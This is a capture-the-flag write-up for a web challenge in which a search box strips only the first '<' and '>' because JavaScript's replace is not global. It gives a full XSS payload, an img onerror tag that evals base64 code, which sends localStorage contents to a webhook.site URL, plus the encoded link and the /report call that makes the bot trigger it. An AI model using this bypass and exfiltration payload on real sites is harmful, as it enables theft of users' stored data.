javascript moment
This challenge was available at http://6b.vc:9004. Its source was available: javascriptMoment.tar.gz
It is very similar to babyXSS. The XSS vulnerability is the same, but:
function updateSearch() {
let searchTerm = searchInput.value.trim();
if (searchTerm) {
searchTerm = searchTerm.replace("<", "<").replace(">", ">");
searching.innerHTML = '<div class="text-center text-gray-500">Searching for "' + searchTerm + '"...</div>';
filterComments(searchTerm);
window.history.pushState({}, '', '?search=' + encodeURIComponent(searchTerm));
} else {
searching.innerHTML = '';
displayComments(comments);
window.history.pushState({}, '', window.location.pathname);
}
}
In JavaScript, the String.prototype.replace function only replaces the first occurence when receiving a string as the pattern (you would have to use a regex with the global flag, such as /[<>]/g). That means we can bypass the replace by adding <> at the start of our payload.
const code = `location.href = "https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?"+encodeURI(btoa(localStorage.flag))`
const payload = `<><img src=x onerror="eval(atob('${btoa(code)}'))">`
console.log(`http://6b.vc:9004/?search=${encodeURIComponent(payload)}`)
Solution
The following link will make the bot send us the flag.
http://localhost:9004/?search=%3C%3E%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%22%3E
We can trigger the /report endpoint by either using curl or by using the following javascript code in the browser’s console.
fetch("/report?url="+encodeURIComponent("http://localhost:9004/?search=%3C%3E%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%22%3E"))
We receive the flag on the webhook:
flag{replace!=replaceAll}